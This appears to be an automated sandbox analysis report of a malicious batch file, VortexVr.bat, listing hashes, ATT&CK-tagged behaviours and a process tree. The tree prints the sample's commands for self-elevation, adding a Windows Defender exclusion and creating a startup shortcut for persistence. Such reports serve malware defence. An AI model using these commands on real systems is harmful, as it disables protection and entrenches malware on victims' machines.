cbf72586c8e000a8f83cc68f51e2fc529fa844347e14ddd5882e9a12a6bfa380

Analysis

max time kernel
899s
max time network
887s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 16:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 40KB
Sample260818-ttxpgawake
SHA256 cbf72586c8e000a8f83cc68f51e2fc529fa844347e14ddd5882e9a12a6bfa380
MD5 f10aaf099c1043fbdac0470e5a78ec78
SHA1 90cb585349efbcce4876b3693fd04a2d69c0ec90
SHA512 cf5b695e31f51fc5053275ae9236a2817ac5cc05b2cb465743e0fd21dd3e4e4115ea3839c1800a4366c90dbf70d3f489f0a5b72926c69c0193647c583118570e
SSDEEP 768:Paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paai:PfZfjfHf/fpfZfjfHf/fpfZfjfHf/fpO
TLSH
T16103CF39EB78A8D043BE749C8A533E4514CA1D23D7B9AA5CF941089B1CAC785EB774CC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

google defense_evasion discovery execution persistence phishing privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe
5896	powershell.exe
7936	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Detected potential entity reuse from brand GOOGLE. 1 IoCs

phishing google

flow	pid	Process
113	3764	firefox.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\perfTMP.dat	WMIADAP.EXE
File created	C:\Windows\system32\PerfStringBackup.TMP	WMIADAP.EXE
File opened for modification	C:\Windows\system32\PerfStringBackup.INI	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.h	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1028356385\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1028356385\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1438809779\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1438809779\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1671066391\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1671066391\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_386796072\manifest.json	msedge.exe
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.ini	WMIADAP.EXE
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1671066391\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_1671066391\office_endpoints_list.json	msedge.exe
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File opened for modification	C:\Windows\inf\WmiApRpl\WmiApRpl.ini	WMIADAP.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4456	cmd.exe
5628	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4976	chrome.exe
2944	msedge.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315437669269728"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{1757C79B-41F0-42CF-9905-B56CA2C10868}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

pid	Process
2584	powershell.exe
2584	powershell.exe
2680	powershell.exe
2680	powershell.exe
5896	powershell.exe
5896	powershell.exe
2768	powershell.exe
2768	powershell.exe
1076	powershell.exe
1076	powershell.exe
5512	chrome.exe
5512	chrome.exe
5740	powershell.exe
5740	powershell.exe
3492	powershell.exe
3492	powershell.exe
6308	powershell.exe
6308	powershell.exe
6828	powershell.exe
6828	powershell.exe
7892	powershell.exe
7892	powershell.exe
8052	powershell.exe
8052	powershell.exe
7288	powershell.exe
7288	powershell.exe
7620	powershell.exe
7620	powershell.exe
7940	powershell.exe
7940	powershell.exe
7220	powershell.exe
7220	powershell.exe
6852	powershell.exe
6852	powershell.exe
7716	powershell.exe
7716	powershell.exe
7268	powershell.exe
7268	powershell.exe
7436	powershell.exe
7436	powershell.exe
6656	powershell.exe
6656	powershell.exe
7224	powershell.exe
7224	powershell.exe
5040	powershell.exe
5040	powershell.exe
7936	powershell.exe
7936	powershell.exe
7936	powershell.exe
8920	powershell.exe
8920	powershell.exe
3388	chrome.exe
3388	chrome.exe
3388	chrome.exe
8368	msedge.exe
8368	msedge.exe
5512	chrome.exe
5512	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5512	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
5512	chrome.exe
5512	chrome.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
5512	chrome.exe
3332	msedge.exe
5512	chrome.exe
3332	msedge.exe
5512	chrome.exe
3332	msedge.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
3332	msedge.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeIncreaseQuotaPrivilege	2680	powershell.exe
Token: SeSecurityPrivilege	2680	powershell.exe
Token: SeTakeOwnershipPrivilege	2680	powershell.exe
Token: SeLoadDriverPrivilege	2680	powershell.exe
Token: SeSystemProfilePrivilege	2680	powershell.exe
Token: SeSystemtimePrivilege	2680	powershell.exe
Token: SeProfSingleProcessPrivilege	2680	powershell.exe
Token: SeIncBasePriorityPrivilege	2680	powershell.exe
Token: SeCreatePagefilePrivilege	2680	powershell.exe
Token: SeBackupPrivilege	2680	powershell.exe
Token: SeRestorePrivilege	2680	powershell.exe
Token: SeShutdownPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeSystemEnvironmentPrivilege	2680	powershell.exe
Token: SeRemoteShutdownPrivilege	2680	powershell.exe
Token: SeUndockPrivilege	2680	powershell.exe
Token: SeManageVolumePrivilege	2680	powershell.exe
Token: 33	2680	powershell.exe
Token: 34	2680	powershell.exe
Token: 35	2680	powershell.exe
Token: 36	2680	powershell.exe
Token: SeDebugPrivilege	5896	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	5740	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	6308	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	6828	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	7892	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	8052	powershell.exe
Token: SeDebugPrivilege	3764	firefox.exe
Token: SeDebugPrivilege	3764	firefox.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	7288	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe
Token: SeDebugPrivilege	7620	powershell.exe
Token: SeShutdownPrivilege	5512	chrome.exe
Token: SeCreatePagefilePrivilege	5512	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
3332	msedge.exe
3764	firefox.exe
3764	firefox.exe
3764	firefox.exe
3764	firefox.exe
3764	firefox.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe
5512	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3764	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 2584	4456	cmd.exe	90
PID 2584 wrote to memory of 5628	2584	powershell.exe	91
PID 5628 wrote to memory of 2680	5628	cmd.exe	93
PID 5628 wrote to memory of 5896	5628	cmd.exe	95
PID 5628 wrote to memory of 5904	5628	cmd.exe	96
PID 5628 wrote to memory of 5512	5628	cmd.exe	97
PID 5628 wrote to memory of 2768	5628	cmd.exe	98
PID 5512 wrote to memory of 1324	5512	chrome.exe	99
PID 5628 wrote to memory of 3332	5628	cmd.exe	100
PID 5628 wrote to memory of 1076	5628	cmd.exe	101
PID 3332 wrote to memory of 5432	3332	msedge.exe	102
PID 5512 wrote to memory of 5128	5512	chrome.exe	104
PID 5512 wrote to memory of 4976	5512	chrome.exe	103
PID 5512 wrote to memory of 5768	5512	chrome.exe	106
PID 5512 wrote to memory of 5128	5512	chrome.exe	104
PID 5512 wrote to memory of 936	5512	chrome.exe	108
PID 5512 wrote to memory of 3028	5512	chrome.exe	107
PID 5512 wrote to memory of 5768	5512	chrome.exe	106
PID 5512 wrote to memory of 936	5512	chrome.exe	108
PID 5512 wrote to memory of 3028	5512	chrome.exe	107
PID 5628 wrote to memory of 5132	5628	cmd.exe	109
PID 5132 wrote to memory of 3764	5132	firefox.exe	110
PID 5132 wrote to memory of 3764	5132	firefox.exe	110
PID 3332 wrote to memory of 2868	3332	msedge.exe	111
PID 5512 wrote to memory of 5008	5512	chrome.exe	112
PID 5512 wrote to memory of 5008	5512	chrome.exe	112
PID 3332 wrote to memory of 2944	3332	msedge.exe	113
PID 3332 wrote to memory of 2868	3332	msedge.exe	111
PID 3332 wrote to memory of 2868	3332	msedge.exe	111
PID 3332 wrote to memory of 3164	3332	msedge.exe	114
PID 3332 wrote to memory of 3164	3332	msedge.exe	114
PID 5628 wrote to memory of 5740	5628	cmd.exe	115
PID 3332 wrote to memory of 3492	3332	msedge.exe	127
PID 3332 wrote to memory of 3492	3332	msedge.exe	127
PID 3332 wrote to memory of 3492	3332	msedge.exe	127
PID 3332 wrote to memory of 4812	3332	msedge.exe	118
PID 3332 wrote to memory of 4812	3332	msedge.exe	118
PID 3332 wrote to memory of 4812	3332	msedge.exe	118
PID 3332 wrote to memory of 3040	3332	msedge.exe	119
PID 3332 wrote to memory of 2952	3332	msedge.exe	120
PID 3332 wrote to memory of 3040	3332	msedge.exe	119
PID 3332 wrote to memory of 3040	3332	msedge.exe	119
PID 3332 wrote to memory of 2952	3332	msedge.exe	120
PID 3332 wrote to memory of 2952	3332	msedge.exe	120
PID 5512 wrote to memory of 3936	5512	chrome.exe	121
PID 5512 wrote to memory of 3936	5512	chrome.exe	121
PID 3332 wrote to memory of 1856	3332	msedge.exe	122
PID 3332 wrote to memory of 1856	3332	msedge.exe	122
PID 3764 wrote to memory of 2660	3764	firefox.exe	123
PID 3764 wrote to memory of 2660	3764	firefox.exe	123
PID 3764 wrote to memory of 2660	3764	firefox.exe	123
PID 3332 wrote to memory of 1816	3332	msedge.exe	124
PID 3332 wrote to memory of 1816	3332	msedge.exe	124
PID 3764 wrote to memory of 3836	3764	firefox.exe	126
PID 3764 wrote to memory of 3836	3764	firefox.exe	126
PID 3764 wrote to memory of 3836	3764	firefox.exe	126
PID 3764 wrote to memory of 3836	3764	firefox.exe	126
PID 5628 wrote to memory of 3492	5628	cmd.exe	127
PID 3332 wrote to memory of 1208	3332	msedge.exe	128
PID 3332 wrote to memory of 6148	3332	msedge.exe	129
PID 3332 wrote to memory of 1208	3332	msedge.exe	128
PID 3332 wrote to memory of 6148	3332	msedge.exe	129
PID 5628 wrote to memory of 6308	5628	cmd.exe	130
PID 3764 wrote to memory of 6380	3764	firefox.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5896
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:5904
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
